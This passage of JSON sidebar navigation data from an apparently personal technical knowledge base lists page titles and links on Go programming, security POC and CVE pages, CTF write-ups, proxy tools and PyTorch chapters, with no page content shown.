u7a0b/GoLang-\u64cd\u4f5cRedis","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","label":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","label":"\u63a5\u53e3","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/"},{"type":"category","label":"Go\u6a21\u5757\u5b66\u4e60","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","label":"fmt","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","label":"02.GoLand-net.http.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","label":"goflags","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","unlisted":false}]},{"type":"category","label":"Go\u4ee3\u7801\u6848\u4f8b","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"GoLang-\u7f16\u5199POC","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","label":"CVE-2022-26134","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","label":"docker-daemon-api-rce","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-Docker-Daemon-Api-Rce","unlisted":false}]},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","label":"go-proxy-http","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406","unlisted":false}]}]}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/"},{"type":"category","label":"pathScan-doc","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","label":"\u4e0b\u8f7d\u5b89\u88c5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","label":"\u521d\u59cb\u5316","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","label":"\u547d\u4ee4\u53c2\u6570","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","label":"\u626b\u63cf\u6a21\u5f0f","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","unlisted":false}]},{"type":"category","label":"CTF","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Knownsec","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/","label":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/README","unlisted":false}]},{"type":"category","label":"\u5947\u6280\u6deb\u5de7","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","label":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","label":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","label":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","label":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","label":"Handlebars-AST\u6ce8\u5165","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165","unlisted":false}]},{"type":"category","label":"\u5404\u7c7bCTF\u6bd4\u8d5bWP","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/","label":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README","unlisted":false}]}]},{"type":"category","label":"\u5de5\u5177\u5206\u4eab","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/","label":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/README","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/","label":"\u5b89\u88c5Gitbook","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/README","unlisted":false},{"type":"category","label":"\u4ee3\u7406\u7c7b","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","label":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","label":"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","label":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","label":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","label":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","unlisted":false}]},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/","label":"FoFa\u722c\u866b","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/README","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/","label":"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/README","unlisted":false}]},{"type":"category","label":"\u6f0f\u6d1e\u5408\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u4e2d\u95f4\u4ef6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Apache","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","label":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","unlisted":false}]}]},{"type":"category","label":"\u6d77\u5eb7\u5a01\u89c6","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","label":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","label":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","unlisted":false}]},{"type":"category","label":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","label":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","unlisted":false}]}]},{"type":"category","label":"AI","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"PyTorch","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u7b2c\u96f6\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","label":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","label":"0.2 \u8bc4\u4ef7\u6307\u6807.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","label":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","label":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/"},{"type":"category","label":"\u7b2c\u4e00\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","label":"1.1 PyTorch\u7b80\u4ecb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","label":"1.2 PyTorch\u7684\u5b89\u88c5.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","label":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/"},{"type":"category","label":"\u7b2c\u4e8c\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","label":"2.1 \u5f20\u91cf.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","label":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","label":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","label":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/"},{"type":"category","label":"\u7b2c\u4e09\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","label":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","label":"3.2 \u57fa\u672c\u914d\u7f6e.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","label":"3.3 \u6570\u636e\u8bfb\u5165.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","label":"3.4 \u6a21\u578b\u6784\u5efa.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","label":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","label":"3.6 \u635f\u5931\u51fd\u6570.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 